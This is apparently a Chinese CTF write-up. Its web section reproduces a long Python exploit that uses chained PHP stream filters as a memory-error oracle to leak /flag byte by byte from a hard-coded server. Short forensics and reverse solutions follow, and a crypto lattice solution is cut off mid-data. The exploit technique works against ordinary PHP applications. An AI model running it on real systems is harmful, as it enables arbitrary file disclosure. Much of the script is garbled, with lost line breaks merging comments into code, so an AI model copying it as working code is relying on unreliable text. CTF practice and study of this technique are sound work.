    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

这里我们的 [ 会被替换为 _ 但是后续却没有再继续进行 . 和 空格 的检测,最终构造 paylaod 如下:my[secret.flag=C:8:"Saferman":0:{}

然后就是 file() 函数的利用,参考 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

http://tttang.com/archive/1395/#toc_craft-base64-payload

这里是一个 PHP Devlopment Sever,重新用脚本 fuzz 一下,直接读 /flag

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
        return '|'.join(x)

def err(s):
        print(s)
        raise ValueError

def req(s):
        params = {
                'secret': f'php://filter/{s}/resource=/flag',
                "my[secret.flag":'C:8:"Saferman":0:{}'
        }
        return requests.post('http://39.105.5.7:45123/index.php', params=params).status_code == 500"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')
baseline_blowup = 0for n in range(100):
        payload = join(*[blow_up_utf32]*n)
        if req(f'{header}|{payload}'):
                baseline_blowup = n
                breakelse:
        err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
        req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
        err('something wrong')
if j[0] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
        header = f'convert.base64-encode|convert.base64-encode'else:
        err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
        global flip, r2, r4
        o = []
        chunk = n // 2if chunk % 2 == 1: o.append(r4)
        o.extend([flip, r4] * (chunk // 2))
        if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
        return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
        if not req(f'{prefix}|dechunk|{blow_up_inf}'):
                # a-f A-F 0-9if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
                        # a-efor n in range(5):
                                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'edcba'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # A-Efor n in range(5):
                                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'EDCBA'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
                        return '*'
                elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # freturn 'f'
                elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Freturn 'F'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
                # n-s N-Sif not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
                        # n-rfor n in range(5):
                                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'rqpon'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # N-Rfor n in range(5):
                                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'RQPON'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # sreturn 's'
                elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Sreturn 'S'else:
                        err('something wrong')
        elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # i j kif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'k'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'j'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'i'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # I J Kif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'K'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'J'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'I'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # v w xif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'x'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'w'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'v'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # V W Xif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'X'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'W'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'V'else:
                        err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Zreturn 'Z'
        elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # zreturn 'z'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Mreturn 'M'
        elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # mreturn 'm'
        elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # yreturn 'y'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Yreturn 'Y'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # lreturn 'l'
        elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Lreturn 'L'
        elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # hreturn 'h'
        elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Hreturn 'H'
        elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # ureturn 'u'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Ureturn 'U'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # greturn 'g'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Greturn 'G'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # treturn 't'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Treturn 'T'else:
                err('something wrong')

print()
for i in range(100):
        prefix = f'{header}|{get_nth(i)}'
        letter = find_letter(prefix)
        # it's a number! check base64if letter == '*':
                prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
                s = find_letter(prefix)
                if s == 'M':
                        # 0 - 3
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '0'
                        elif ss in 'STUVWX':
                                letter = '1'
                        elif ss in 'ijklmn':
                                letter = '2'
                        elif ss in 'yz*':
                                letter = '3'else:
                                err(f'bad num ({ss})')
                elif s == 'N':
                        # 4 - 7
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '4'
                        elif ss in 'STUVWX':
                                letter = '5'
                        elif ss in 'ijklmn':
                                letter = '6'
                        elif ss in 'yz*':
                                letter = '7'else:
                                err(f'bad num ({ss})')
                elif s == 'O':
                        # 8 - 9
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '8'
                        elif ss in 'STUVWX':
                                letter = '9'else:
                                err(f'bad num ({ss})')
                else:
                        err('wtf')

        print(end=letter)
        o += letter
        sys.stdout.flush()

"""
We are done!! :)
"""print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Misc

ez_Forensics

把镜像丢进Passwarekit​进行识别提取:

image

有第一部分的flag:flag{194a019a-1767-91

查看进程信息,发现有Winrar​:

image

filescan​一下,然后查看桌面文件:

image

提取这三个文件,其中key.rsmr​是鼠标记录

image

打开压缩包发现readme.txt​,桌面也有一个readme.txt

名字相同,怀疑是被修改了,查看编辑前的版本:

image

替换修改,打包一下:

image

CRC校验值相同,可以明文攻击

这个地方我用bkcrack​跑明文攻击,跑到100%,没找到密钥。。。

又尝试了好多压缩软件都不行,最后360压缩可以了

image

[ 6296ee7a 28ddd715 d09626ae ]

恢复解密文件,有一个table,查看hex开头是89504E47​,改后缀为png

table

然后按照鼠标画圈的顺序恢复key

​​58ccd03acfee30e4846e959acf1e0c2

顺序是:a91e37bf

volatility​提取cmd记录:

image

SET SECRET​但是不知道设置的哪个环境变量,但是查看的时候翻到了火狐浏览器的环境变量:

image

解密aes:

image

出第二部分flag:3a-f140-2626195942a0}

合并起来:

flag{194a019a-1767-913a-f140-2626195942a0}​​

Reverse

Story

源码里就有:

image

Crypto

DHRSA

因为t1和t2只可以取01,所以pq组合一共四种情况,单个来看p就只有两种情况

题目给出了62组

$$
C_i=g^{c_i}(modr)
$$

肯定有一个线性组合使得

$$
a_1c_1+……+a_nc_n=0
$$

可以凭此构造格子

然后gcd两组来求r

from Crypto.Util.number import *
from gmpy2 import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632, 8272821018041191335817314516024870641634584838709754134295649414123178842937800314505950304166260273130361466329869880024580711311122266329063823157928578, 9224196545381524434689958500941052085722509493323098161219607220849299786695264643219965900283680542442505315754998495711744726427299710433730839117822341, 1008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260, 7616413788891104674175703849368746136014029498968757620534065604935400737852925875633996435081025804169137754721194517660132118370608033038162779303724417, 7584549797616896430743312033954227311758800006881758430848397006388599762762869550122276429056861398410906389124143882721771887174154825862686488628829556, 4857850091039904852357309328743353934107579830869744999969242154323443783533786032181281694960711385606506579359066323294671727886753617501542207839926790, 4779727649310569079487754450225462592903787505885564750560744245118977747200287996364352093535624060190258736345242819222383024403591273643223505871273937, 6240985007555841990183784512088706027373526355604287377336898927100013200525239698399664369530638033756622723154794368086253680721133641187916109948879111, 1440004269550837930069561548693107407163496872089856298023372643037792305541293783438854412197014895824653797468093046886645122408623089543218627931731325, 8686467414540984479883981478664234832161994713954432326787817013306458410596539074149482305300161480885280412716015692242140611122632851558942831571969449, 6397234126429549747756931006796154340671325181680459289481852293242757656214345178451346712629678435704959420962366420623987135911533358778558089423502498, 5154817535857960073707963384183439709586920855602419290358137674661940402006427565850098044416106066822250682276679669427811522910392723378330585054966700, 6184278632740706257559650240918607859111635320246236350819849684258206208438537742565177660943106119452934940861754989735447208681922747166941649495976923, 514519457570888784111073733278759745960446948568600524535727800070517989361086156941193628192360355612444575477626855845530581162562486612799738968800436, 5311179737168594393380387500131139705986775208655298446331668896011718110177021579502837999280939324755245947626117007502618967826854797851195037805622236, 8033599809537397449739222496469120219661376235214159758353162913590149327454313351545152320436531803584693342228310830634381278274606584366951286641362730, 2051625798280743150753404437482448207490537448098276190886365473636618906352671153607072757637879642085246666882064116331781620620841788195957363592387053, 2539152850168044131443627430873275266571063321601722994164719426048365057966357258486918206613866328867765905303734883912389577646355187342721384787506424, 9008908156612389991869885743985152554064654014600155665167153423864293462953589139136986609123719868913243556793248046592418855144217044361551263069240329, 6803170457708082062222117551095454287816962526481935030699353660846602430067188624302070998045883149555451692203871683262881999463532897654910797581195808, 4342007382390611975323457544296213170925503797306373729093603079594595092127747819980737254901463722358222828653606693041546906868729342511025828114827555, 2183664030657588356550029801438062011696791479721050550709966793162412846063789309880633528422512509596396589027054806885718000781675200132948682901735072, 2676285609364173142435111238008478736925861736006673806161674291385422525644573866393884559955797190936826061311631872102982470113155601869660746965071177, 8615874523824944863326511893784594675845807173709888717969574953112250736770386882455890231726119912526638461175690953959512359266034187901901745135706561, 1922646621448654308731099545672266646199287008430733010575325812508661111446471076682347110401317422369989378526004562648871357970249460937394842515685185, 6894871210132644262428509750998583740904489962095581087369230603087765684170566562618210470507349665138476792990203975299249821414179702286974952108308908, 8398850863544147035551562678201580675747803434116699749690629994755381632713482161869699483278515661816496168924359580050657657882041095486710223992321329, 1103558165483499140082633087824207492178842328222110372040372946709534675630035763166805943256640202241094017653484224302180964104596684146937840328056737, 7616579463842058663956538981992016396022484825826970703537944742179864728054422301128359842636130918256966522509540733872238802637426513398702545806054711, 6093447739151580910739487321763042257093662388037797880895310207982236604441330252766468220299149762533760095283275798097190217074233307392113562823550055, 10465708577087930103510908920924173959169681089467884381473219422666982876773505479708456794740072800789393882374346444466352555495590221538783880064776747, 10605081135879456867591725577517023044111094541257015514457259942700651158240017447609481228325274221251138332472541861502584164767676203023712244274563455, 7012967814560006293648272691588998637134646550513726240939227681138521268647913550031357555656822375449692357834760862939125678022083697005023949012937826, 9566656433910278946608540460883633932965000205012896340833001038283123101223701427477589683926930217368102196484226996825067156057344586227513445332021767, 2721818943333539016612702886003757042711221957746352716329164140315057299599294376527853842627041607856599108409067242878086913811106172846700928991925332, 4144627466364250800792304430295727495765908688276307878705582041004315000843879026660231248370219826205974342880901591994064400526974281681872092036583360, 9540229122766028258950784907897705565229274273296271759903007071156790536497946170835990412260104194662363036458196704652014673749423907001422969301809735, 1639227724203684234308217138545474026323237719482542327552473107710807011133804919537706806005714199832933437746623612694760178087234912102227060818821785, 9812993094473406654107168236073328125261683326416570529798110665650382711989965459219636103724052319209618994008458512967332799786202713476231778145396012, 2295945877832163407010322597202468334423912618570523561408751634022642288041211919141444020534567414838616766574885544294608146290275196633317265741751883, 9510449404755931940739075753727979306152379874217663126425580183559239591750519861496413596214874972534376534993718874211977861576694865786452346685079911, 10068147483643758261431583499786421277358011934810052604576663733186448278692924596285775100821424123316623283150527146388692332413482534235601982259977735, 2631234993744978915205564833565878360368731366415913670587100334887962760531396262264711195036515169369826941240935633330766040802965514627738944637938312, 6245294849421435385844087800549243031764408455344779721346137213398733894945891825456797247066883570457936878961279970460851977076618685374684565064011000, 6360363966721028786772622616611684728619548477569800250827865049949218224355237880474537231095562612445154765235574973379248267372638478052576176958426893, 1374748162508202790788170508306104425630569793823780168413397583022077368721695853340144854392562470438547910808098360313836434314988050372444336622005939, 5923217938277229682931188522357086770659121539648879409111011010394233354709847779031983270180639474376432548198701507987857799064509215702865822042304601, 7912839476386587387207319066546154431303391126303542720169612844312157005989844595260178178012638805394179538160638000205856329132154797855491159908316825, 6989926221520213501850965026707723308003729842929136196471532798477250492469686905792383597327729987647258260679589434132606672791962970232535673677457343, 7743517306425849045036228617259140769029348885373635895025449298661791309426243487821079837754283770418719515017823088333131732906019584031613089554304420, 8228064864747011743632289680585658563799395413457976150375450901737657367769151734010130073897880115256353583883179331874018722072209939664833555092694721, 4450010894214163101815316096785687407009534536454667314772668698898901466717062024203232842836467444518468762248095700604843848000837792037078167960588129, 3345145753946526259843311380078979114463790107484347721093757348344369710001786833260087626842713916819817705043732430232104986213669502412941799451378137, 411849644960126121049073725849225927315782894933779533599764821078891693733248333351876043256232845616011887951112364725817456430915422262433159009162810, 9070143529402968690182170891432541186624926767431297375488478998005501150531907444673746153178512705131935537332064808055931815290499208703009298348987029, 8213219975300001733306975337422619448976655134956761580838409562843071867497978077677323154897320151428562911412904177153952495821256190104983710364972232, 8349268362247390165742295418698754062525395439803096486083911273583071915526604580013826747245858881943244980602181641712932537086321708434534161167021746, 7509668912649960854961670452151045790218876057511153068414836771472470302685381796706603632853037886139531473147215132055911891985689199108998563497337555, 2131204693980301034358939270790217044118874047688648828664882105193013493634681490541248365340356833966291527168399270652784557243494787018476812050661672, 94628342448609390736618683703832565995079347007818829426672834242066920587964251445868380536604059942251553430692068690115557207157069742355783092463878, 8730838489034161299210542834892857189755559366635478365056603032000438656615452617258885131782074530795256008985786448336781306335727153569211343667279688]
Cs = [8139606023160038223737079478941118590185130735073983268534523900466799026361464500424904356248753891316780445417573842978538788878976916399246204378441056, 6731047210123888962354325580924677204725121336252367061814596228770531939085170702108835833376855510135160514592212524395740859425722612967050674897558554, 8618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172, 9243753430474436162138755988303772102594989764465818886594050158035773372691908643200174705510107166901553683916448850166844368808268900160791189879886461, 5081325787403850070122342963066210472728109263877409302015934601768721956580972368361384922036489915214279268746375195256103574903758346112788101331060421, 1628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446, 1436555309056212704783260154843715809916541935750195541226776332006326501592432597657580990741764167962753224321573279559350979014777173060581697942160790, 8457854453119605903801540115672523550270614339671410689633028758723786021115482172319549655156915937495339811221100830546511268665457084873839271917131026, 7516353799796514587790845891436757011323761869044622559902758322970504358548733636938457083535644723388210752578649311718854524047992380524533863744945353, 9434919345479338423866102885320010476913815819406622512632495616332678841660980531307718949753248131094030185131327688989259983673428169616967926536549981, 2376239907248313997443412718623933371621229548870946158597654591040113647645833393016706072537549866458668992268347350086597733853645352669964694698209002, 9555521900012304016219328488701400452052438846888508591910947639752080094465009622568296701465965949214617545676819204984390042310077453137495863845140433, 10496354188266114334878155842846706785121191402898647321044421232085059338092949629088561418326794767424754926615669196297619927139682997591511869107757767, 1684156496026762626171388002895398201456656580507920519170549327618625423797366792075116257872626605002727580286505567977884867816788235806054395449066065, 5279615925666476607393445956667230310409008481693792914481184221733250114518482573243209594428350182047703213893421465095795062348864307647570060060929176, 7950931857867551139311900477185535034704935066837216411367230952920436620973145933605969605301127988180373211783836800949372831376277678318587671147544812, 7363787374432448634707849149426821610638073413299588217259428219319013703633673213128364594170782521444300561327439516770200289550957339013848496654479674, 183450164326164222959035748035117444906396515108356683081562421715885871762215055266356577117853857983960152113987173865737809535655981046541363297829205, 585756688754350904695498684365256423604945135941557021419402686079315456435190920620640430630667903578283746531894135845972607789350856875988416502844449, 9289266081720210076238040168621209559442099796466275176059195696650031235127294873962598972974303719540193547570326682610716804488839647659399702777957625, 1643238506993581048346556120580389927181837132286120379981936140856072993887401596354919001634656489755991432524216993664019969824657062288544062028928533, 493026654262682081757325540069692089465639980280029378402651778901949559259891879708898948140085681814535573742826826476110468079719504023996492906928688, 4073523873469606498132661552527997945998461149945931939857824343164584528157149801459596694594269553069502164902110100517378462894925649504277727979281804, 5526482056568056411108977820792619135217540155238365597030616097363450824489623669450770143884401364973046003465586645009073389711906524301615929500348726, 5107189939984481100533490360348985070143842143450775903588073100128259350554726370669643384672212451094463934881485403663403067465232413753838963311526164, 1338120870830450195003052688429825997002475569804112786250323375715461269426478757154438256599704658856730012976479429755682431385902070463000523922633485, 4504561167146108444334786062824835552812933921903812225075224152011097132132118554220621595724113517743942246047411740399148959904624805479075676539627179, 3703218408290286096237533977791248727917587395526646685991666829723493582004703462287201605547754231978350368593066630613342669719057740600396410750130713, 4235755736045407691815950643821304187431993958805648566903603216981196118628996746825748374999189542155866127214016604808037761824195261283013629856811915, 7613956756687648883142522461784563921781848082096750733536680658594629733709520676386003626030270049444324311590771818500145651113869039994374079094176389, 5582983596876204457658414033643566916925741632988960872444165950150568674358568563750393895942021859292068409582131557028759494904690654084568015540958387, 5560992116323139630261388939207466766129106144662938095552878745416852271253443975908911908133192704735692594156704890845632323597567684452235384416207560, 9427064851222629681715722784660850738968685559393550747518608089108082562625632566953024798342737795332503266772616759203825637407245190460310558481011553, 7751396645197086848500999313322914076346713513943719371985230447422327437680224631606199418400131531054197437203771034578401374585091741737281898844967403, 546093125292516349289304554067672438202855144942643384818235748136017154830766962667037846395737218002229971788635923471525750360984025965229960880138015, 8708958215469085753181574046119339162501035682760128157682876145155787404749378257091769354933553751411564910339364737060790592181298353503681772458140296, 6503617996420087519121999497592564753358269947368728580707909964656915488241450906561184006580947106530919025122027342914550816267613360293886470939638147, 3133970773026394333676271959039363252995983077058359556442048424274114546996306660500141330973026720710258226380296916344738000286752906153301531192145588, 8270247841707725063403103311221827713218425321540707437203780169848645054354422606444548218532045886590764337285894491599474684125156258721180140005227879, 6348941299458047229603035571553554254637277183847732341685362698641456768747093952193394610221610467378544424914425383192254952105296121873394965907483421, 5994603535835080395017357896928637354820646460778770882917760856532399920260202826867821549261784608902276626362339800015674269038970155327507870854956789, 4425254452956426634646344097191468359576571843417153278931037524323172136339917846491397351511099933539635058142094213472513676095819902241563092702688501, 2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 